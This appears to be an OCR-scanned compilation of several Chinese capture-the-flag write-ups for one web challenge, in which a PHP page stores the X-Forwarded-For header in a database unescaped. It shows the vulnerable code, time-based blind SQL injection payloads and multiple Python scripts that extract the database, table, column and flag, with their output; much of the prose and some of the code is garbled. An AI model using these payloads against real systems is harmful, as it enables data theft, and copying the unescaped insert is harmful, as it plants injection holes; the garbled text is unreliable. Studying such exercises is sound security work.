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Mdk: http://120.24.86.145:8002/web15/

B E % T IR
error_reporting(0);

function getIp(){
$ip = "5
if(isset($_SERVER[ 'HTTP_X_FORWARDED FOR'])){
$ip = $_SERVER['HTTP_X_ FORWARDED FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}

$ip_arr = explode(',"', $ip);

return $ip_arr[@];

}
$host="1localhost";
$u5er‘=“ ||;

$paSS=I| Il;

$db=ll II;

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");

$ip = getIp();

echo 'your ip is :'.$ip;

$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

B ERTBLRI, 7E101T BIRHESIpHE I 7. explode i U iI/E F RN IR A, Hltn: explode(" ", $str)
2% http://www.gingpingshan.com/m/view.php?aid=389224

X&X_FORWARDED_FORVEN, HREWET, 7, oI IEMBEMR T, TEMEHciEH
LRAEMysql FER T ifiEE

1 select case when xxx then xxx else xxx end;
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mHE BT #iduE, Tk Hsubstrfsubstring, {B2X B a] LAM# ffrom 1 for 1848, & Jpayloadin T

11'+(select case when substr((select flag from flag) from 1 for 1)="a' then sleep(5) else ©
end))%23

python Jii 4

import requests
import string

mystring = string.ascii_letters+string.digits

url="http://120.24.86.145:8002/web15/"

data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5
flag = "'

for i in range(1,35):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:

flag += j
print flag
break

print 'The final flag:'+flag

L4: stringtbkt B 1H fascii_lettersfdigits{tR K/MNE FE L F R E T .

L6: insertinto value (")iXf)iE, W ABAT()HMIsqliEa]. Rl ElE, REHTsqQIEAMHIT. XEFEHRT
select case when (iR %) then GEA]1) else (iEA)2) endi&f); iEHA)H ) from 0 for 1 Z4+TF limit 0,1,

L13: #hnxffk.

L14: timieout=341 5 M ¥fi B 3s Y A M, B 7.

L15: B NFEL7HATRAE, B True, Hisleep(5), X B RiESZRH RIhIKEEEHflag.
%132 : case when then else endi&f]. from O for 1 Ffrom -1(MJEE R EHEHI%ET .
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L2534 =P
T TIES, FHARInsert i EAN

BAVGRE — FinsertlE N7, AWM, BAEEH, RBEEMNEA

mgéql) insert into users(username) values('1'+sleep(5));

Query OK, 1 row affected, 1 warning (5.00 sec)

BIER, W] UAERTEN
HREETES, MEIMNERIAERT

HEERH—MHMMITIES]: select case when H|Wr & then $ATIEH]I1 else $14TiEA)2 end

mysql> insert into users(username) values('1'+(select case when(1=1) then sleep(

3) else 0 end));
Query OK, 1 row affected (3.00 sec)

ok, FRINIERT, HAmSEHBIENKIAIM R, IEHRURZF substrit B — 6 —fr FOBECH B, ERBRATZATSE
Hfsubstrif b AR TEMEE S K, EATME

get T 5 4h—Frsubstrif 18 F 5i%:  substr(database() from 1 for 1) = substr(database(),1,1)

mysql> select substr(database(),1,1);
+

1 row in set (0.00 sec)

mysql> select substr(database() from 1 for 1);

1 row in set (0.00 sec)

BETIRABEEFNMEAEABATLL T
SeiE B R R A4

import requests


https://foxgrin.github.io/posts/26423/

url = 'http://120.24.86.145:8002/web15/'
allString = "1234567890~"! @#$%"&*()-_=+[I{};:"|\,<.>/?
gwertyuiopasdfghjklzxcvbnmQWERT YUIOPASDF GHJKLZXCVBNM™
database ="
flag =1
for i in range(1,10):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3)
else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print(‘the time of '+j+' is "+str(t))
if t >= 3:
database = database + j
print('the "+str(i)+' place of database is '+j)
break
elift<3andj=="M"
flag=0
break
ifflag==0:
break
print('database:',database)
GR:

The T1me OT ¥ 15 U. UoYog/
the time of B 15 0.038196
the time of N 1= 0. 04827
the time of M 1s 0. 0562381
database: weblb

o

B4 Fyweb15
HERL:

import requests



url = 'http://120.24.86.145:8002/web15/'
allString = "1234567890~"! @#$%"&*()-_=+[I{};:"|\,<.>/?
gwertyuiopasdfghjklzxcvbnmQWERT YUIOPASDFGHJKLZXCVBNM™
table_name ="
flag =1
for i in range(1,20):
for j in allString:
header = {

"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(table_name) from
information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0
end))#"%(i,ord(j))

}

r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print(‘the time of '+j+' is "+str(t))
ift>=3andt<4:

table_name = table_name + j

print('the "+str(i)+' place of table_name is '+j)

break

elift<3andj=="M"
flag=0

break

ifflag==0:
break
print('table_name:',table_name)

REREZE - TRGSSAWRA I LR, FrUBKIEREEIV DN
ZR:

the time of ¥V is 0.045619
the time of B 1= 0.057097
the time of N 1= 0. 050651
the time of M is 0. 058022
;able_n:ame: client_ip,flag
s

F4: client_ip,flag

Hflag® THIF 4
import requests



url = 'http://120.24.86.145:8002/web15/'
allString = "1234567890~"! @#$%"&*()-_=+[I{};:"|\,<.>/?
gwertyuiopasdfghjklzxcvbnmQWERT YUIOPASDF GHJKLZXCVBNM™
column_name ="
flag =1
for i in range(1,20):

for j in allString:

header = {

"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(column_name) from
information_schema.columns where table_name="flag') from %d for 1))=%d) then sleep(3) else 0 end))#"%
(i,ord(j))

}

r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print(‘the time of '+j+' is "+str(t))
ift>=3andt<4:

column_name = column_name + j

print(‘the "+str(i)+' place of table_name is '+j)

break

elift<3andj=="M"
flag=0
break
ifflag==0:
break
print(‘column_name:',column_name)
R

the time of ¥ is 0.048945
the time of B 1s 0. 038463
the time of N 1= 0. 0401
the time of M i=s 0. 050941
gulumn_nme: flag

b

%44 Nflag

BJaiE Hflaghl FHI{E B
import requests



url = 'http://120.24.86.145:8002/web15/'
allString = "1234567890~"! @#$%"&*()-_=+[I{};:"|\,<.>/?
gwertyuiopasdfghjklzxcvbnmQWERT YUIOPASDF GHJKLZXCVBNM™
flag="
f=1
for i in range(1,30):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select flag from flag) from %d for 1))=%d) then
sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print(‘the time of '+j+' is "+str(t))
ift>=3andt<4:
flag = flag + j
print('the "+str(i)+' place of table_name is '+j)
break
elift<3andj=="M"
f=0
break
iff==0:
break
print(‘flag:',flag)
&5 Hflag
the time of C iz 0.040609
the time of ¥ i=s 0.061695
the time of B iz 0.061095
the time of N 1= 0.049919

the time of M 1= 0.051047
flag: cdbfl14c8851d5beb612£733567

¥4l https://bbs.ichungiu.convthread-41915-1-2.html

MEBREETLAE: IFHEA. &Emt, TUANEEE.
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FEmysqIdE B i Asleep() R #, IR ()JIERBEIEMIATHIE, SQ&ANSHHE, sleep()al LABAT, XA M B2
ISR MO)REHREEREIZERE, &&&sleep()s £ B L& AT ;
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X-Forwarded-For: 1' and sleep(5) and '1'="1
ERABRARESHE ! !
JA T

# encoding:utf-8
import requests,time,string

characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/"

cur_database = "'+(select case when (substring((select database() ) from {0} for 1)="{1}') " \
"then <leen(4) alca 1 end) and '"1'="1"


https://bbs.ichunqiu.com/thread-41915-1-2.html

# BT
def get(payload):
flag = "'
for i in range(1, max_length): # i RFRTHEBRNBFZHERKE
next_position = False
for char in characters: # 0x80=128 , 0x20=32, 32-128 AW B/ HFRFHXIE

payload_ = payload.format(str(i), char)
headers = {
'X-Forwarded-For': payload_
}
try:
r = requests.get(target,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag

# REREE, KRATLEBRSL
def get_table(database):
for i in range(9,5):

print("IEEBHAKIEE" + database + "FHE")
payload = "'+(select case when (substring((" \
"select table_name from information_schema.tables where table_schema='"+ database + "' lim
"from {0} for 1)="{1}') " \
"then sleep(4) else 1 end) and '1'='1"

table = get(payload)

print( "#EE" + database + "MIFE"+ str(i+l) +"A~F"+table)

get_col(table)

if not table:
print('$iEE " +database+' FHIREMTE")

break

# BFR
def get_col(table):
for i in range(9,5):
print("IEEH#MRE" + table + "FHFE")
payload = "'+(select case when (substring((" \
"select column_name from information_schema.columns where table_name='"+ table +"' limit 1 of
"from {0} for 1)="{1}') " \
"then sleep(4) else 1 end) and '1'='1"
column = get(payload)
print("®" + table + "HIZE" + str(i+l) + "MNFEBAN" + column )
# print(column)
if not column:
print("®" + table + "HFHFEBEHTEE")

break

# # ERNBMBERE AR, KR FBIE4(E R
# def result(column,table):

# payload = "'+(select case when (substring((select "+column+" from "+table+") from {0} for 1)="{1}') "
# "then sleep(4) else 1 end) and '1'='1"
# print(get(payload))

# a = 'flag'



# result(a,a)
if _name__ == "__main__":

databasel = get(cur_database)
tablel = get_table(databasel)

B J 15 PR T A R e ) AR AR

REBNANER, AKHKELFR, BEAXESR, MAERSRHN L,

—RVENHRTE headers F ) x-forwarded-forZB; —RAFF—MkHselectiz N, 4R InsertintoiE N; =
RIENTT¥, OB RS MIEE, ERNREEASHSET explode(&ip) EKARIDL T JEH.

KTF insertinto JEN, HSEARK LM selectZA %, WMRBRNEM, FTUE FHXREEXL:
https://blog.csdn.net/hwz2311245/article/details/53941523

WG, AaLBEEREREN, REAHTREFSK E5KHUEREQRS TSR, T NEEN Rl 8aE
HEA UAANHIE S, FIUASS s, BEEANRN EAERXT:

select case when xxx then xxx else xxx end;

MAR ERGE, B ENEA SR BRI T, AR ARRI LS AEN AR A 5 flag HEZE ALK 7
77 HEL REERERNERAR, RAMRARMEM. WRHAR, WA BT sleep()H %, RiE&E
IFEER, RERMN—EFE BRENEPIERT, BABRNMME Z—EOFUEH T, RERSEFUT

— i,
WA, RATATLR BB H0RAE S, %%, 1%, RUE @3 fag.

BMAFBE & LB AP when Z FRIER, RREEXERAN EREQ. THRK EREAHREELH
A, HRBATE et LUE length() BR¥, £WE BIEEZEZ K, CURDBBHIRE.


https://blog.csdn.net/hwz2311245/article/details/53941523

-*- coding:utf-8 -*-
import requests
import sys

data = "127.0.0.1'+(select case when substr((database()) from {0} for 1)="{1} then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
result ="
for i in range(1, 10)
print'Guessing:', str(i)
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = data.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For": sqli

try:

html = requests.get(url, headers=header, timeout=3)
except:

result += chr(ch)

print result: ',result

break

Guessing: 1
result: W
Guessing: 2
result: WE
Guessing: 3
result: WEB

Guessing: 4
result: WEB1
Guessing: 5
result: WEB15
Guessing: 6
result: WEB15

TFHEZER, RAIAE BIEESL 2 web15
BAMRFELE when 2 51 BifliEq), THREM L RELH BR, B4, Eflagh iE4]:
x4

"127.0.0.1'+(select case when substr((select table _name from information_schema.tables where table_schema=d

54

127.0.0.1"'+(select case when substr((select column_name from information_schema.columns where table name='f



Guessing: 1
result:
Guessing:
result:
Guessing:

result:
Guessing:
result:
Guessing:
result:

flag:

127.0.0.1"'+(select case when substr((select flag from flag) from {0} for 1)="{1}' then sleep(5) else 0 end)

E'E'i%ﬂagﬁﬂT

Guessing: 28

result: CDBF14C9551D5BE5612F7BB5D282
Guessing: 29

result: CDBF14C9551D5BES5612F7BB5D2827
Guessing: 30

result: CDBF14C9551D5BE5612F7BB5D28278
Guessing: 31

result: CDBF14C9551D5BES5612F7BB5D282785
Guessing: 32
result: CDBF14C9551D5BES5612F7BB5D2827853
Guessing: 33
result: CDBF14C9551D5BES5612F7BB5D2827853
Guessing: 34
result: CDBF14C9551D5BES612F7BB5D2827853

¥ H: https://www.cnblogs.conm/sijidou/p/9657026.html
BIRIVEN B, R E BIhttpik Sk Kix-forwarded-for

=K TboolBEN, KU H CHERTEAEEH CHIEE T S, ERXEHEAEHRRE, FEEE
TR TE BB

0x02:

R ATnf ASEIR EEA AR if(expl,exp2,epx3) XA R TR, EHRXEN—BAE, HIEATE"" "4
T

$ip_arr = explode(',', $ip);
return $ip_arr[0];
FRMZ T, F case when exp1 then sleep(4) else 1 end kg5 ", " B #1

exp1 R EH Bsubstrsk#ETEI Y], XA Hsubstr(str,1,1) XRFE",", FRX B XA substr (str) from 1
for 1 kgt ", "I FR #i1


https://www.cnblogs.com/sijidou/p/9657026.html

X Pt REA] Rvalue( AN E "), B J5HIpoch:

1' and (case when (length((select database())) = 14) then sleep(4) else 1 end) #

1' and (case when (substr(select database()) from 1 for 1)='c' then sleep(4) else 1 end) #

YRR SE R F) N

insert into client_ip (ip) values (' 1' and (case when (length((select database())) = 14) then sleep(4) el

0x03:
B 5 Bt _Epythonfii 2 .

#-*- encoding: utf-8 -*-
#ERKEERETF TR

import requests
url="http://120.24.86.145:8002/web15/"
flag=""

#data = 11' and (case when (length((select group_concat(table_name) from information_schema.tables where
table_name=database()))=14) then sleep(4) else 1 end)) #

#HRERE KEAN14

#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where
table_schema=database() ) from" + str(i) + " for 1 )="'+ str1 + ") then sleep(4) else 1 end )) #"

#client_ip,flag

#data = 11' and (case when (length((select group_concat(column_name) from information_schema.columns
where table_name='flag'))=4) then sleep(4) else 1 end)) #

#HRTFEB KE N4

#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns
where table_name='flag') from" + str(i) + " for 1 )=" + str1 + ") then sleep(4) else 1 end )) #"

#flag

#data = 11' and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
HRNE KEN32

#data = "11' and (case when (substr((select group_concat(flag) from flag) from" + str(i) + " for 1 )=" + str1 + ™)
then sleep(4) else 1 end )) #"



for i in range(1,33):
for str1 in "0123456789abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, | @#$%"&*.":
data = "11' and (case when (substr((select group_concat(flag) from flag) from" + str(i) + " for 1 )="' + str1
+ ") then sleep(4) else 1 end )) #"
# print data
headers = {"x-forwarded-for".data}
try:
result = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:
flag += str1
print flag
break
print 'flag:' + flag

A FB BAE b VR4 ) data iy R EARRS G N T BRI AT, 48K B2 AT DA H #27E BurpSuite B i & & F-

ps: TEVERAZ MR " "ENRBIEIE T K, FrUAMA B LSRN R ZEK RS IE T, HEFRIFAMELTE
X FF

B8 BE: hitps://www.jianshu.com/p/6750db0943b7
MBI, BFFRAR THRIRE , KEEBRKVTHFHRipic R 28950 E#ITER.

RJE RIJTE R, Mt T P fiptht, TTCEBhttpSKIEA, T H BB RE —REMSLEEAN, Ra
A — T XFF

HHIXFF
RIATREXFFEININA AR, R EFEREARTE, FreANiZE2insetKISQUEN, FEIEIEE

WK, XHESHATIERSE, WHRNEEE, WHRFRFRENNEEE

HBRE —KEMEEEE, LRIEN—#, XERHABHEIREEES, KL, TEREANAR. FRERL
R SEAE, BA SRR -

PR KR B A AR ARG

RSt Z, MEKRBIHRERR, XERE—TEE, LEEEIEHEE, £RER. ¥B, REEFE
KR, [2iflag.

BHA: http://www.cnblogs.com/nul1/p/9333649.html
AT LLR I, 7E101THIRHESIpH I T . explode i 3 ff1E A & LM HR 4 A% . Blin: explode(" ", $str)
Wk AT AR R B REN, BREFESHENTTE.

A]2%: https://www.cnblogs.com/nul1/p/9333599.html


https://www.jianshu.com/p/6750db0943b7
http://www.cnblogs.com/nul1/p/9333649.html
https://www.cnblogs.com/nul1/p/9333599.html

iX B {# F case when then ] 55 B&

EREMAZIEEEES], SQLEAZinsert
R Einserth AT £ KB BT Frs:

mysql> insert into admin(id,username,password) values(1,1,''+(select sleep(3)));

Query OK, 1 row affected (3.04 sec)

FrU R BENER B LS

'+(select sleep(3)) and '1'="1

I — AR 5] 58 P AT T B9 2. 51 5, J5 T fand '"1'="1H & /5 ')

Request

*(1Raw | readers [ rex

Response

*(jgau reacers [ vex

User-Agent: Mozilla/5.0 (X11:
Linux x86_64) AppleWebK1it/537.36
(KHTML, like Gecko)
Chrome/63.0.3239.132 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,ap
plication/xml;qg=0.9,1mage/webp,ima
gelapng.*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language:
zh-CN,zh;q=0.9,en;q=0.8
x-forwarded-for:127.0.0.1"+(select
sleep(12))and "1'="1
ConnectionW close

Il

Daone

L

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 19 Jul 2018
03:02:49 GNMT
Content-Type: text/html
Connection: close
Content-Length: 51

your ip is
:1127.0.0.1"+(select
sleep(12))and '1'="1

b
v

lTJ EJ B EJ I 0 matches

186 bytes’| 12,036 millis

x-forwarded-for:127.0.0.1'+(select case when (substring((select flag from flag) from 1 for 1 )='f') then sleep(3)

else 0 end) and '1'="1

REENHAR—(PSIHASEN LR, ERANHER, BZ BN T IERE NI 5 5 E 5% & 4h 18] ok

W, MR IREDWHRRI, XIS LT HXNSHFRE)



import requests

import string

words = string.lowercase + string.uppercase + string.digits
url = "http://120.24.86.145:8002/web15/"'

for length in range(1,100):

flag = ""
for key in words:
data = "'+(select case when (substring((select flag from flag) from {@} for 1)='{1}') then sleep(4)
headers={
"X-FORWARDED-FOR": data
}
try:

res=requests.get(url,headers=headers,timeout=3)
except Exception as e:

flag+=key

break

print(flag)
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